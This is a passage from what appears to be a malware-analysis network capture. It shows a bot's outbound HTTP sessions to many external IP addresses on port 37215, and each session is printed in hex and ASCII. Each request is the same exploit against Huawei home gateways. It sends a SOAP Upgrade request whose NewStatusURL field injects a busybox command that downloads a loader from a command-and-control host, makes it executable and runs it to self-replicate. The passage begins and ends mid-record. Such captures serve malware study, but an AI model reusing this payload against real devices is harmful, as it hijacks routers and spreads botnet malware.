huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	60524	197.94.55.209	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.467228889 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	45862	197.5.175.128	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.468530893 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	34346	156.9.173.187	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.469512939 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	59306	197.200.82.162	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.471731901 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	56960	197.247.144.107	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.473016024 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	33566	156.8.55.141	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.474361897 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	39500	156.171.60.191	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.476151943 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	52218	156.43.132.129	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.477468967 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	47336	41.61.90.18	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.478724957 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	59484	41.126.15.131	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.480258942 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	37782	41.98.76.2	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.483845949 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 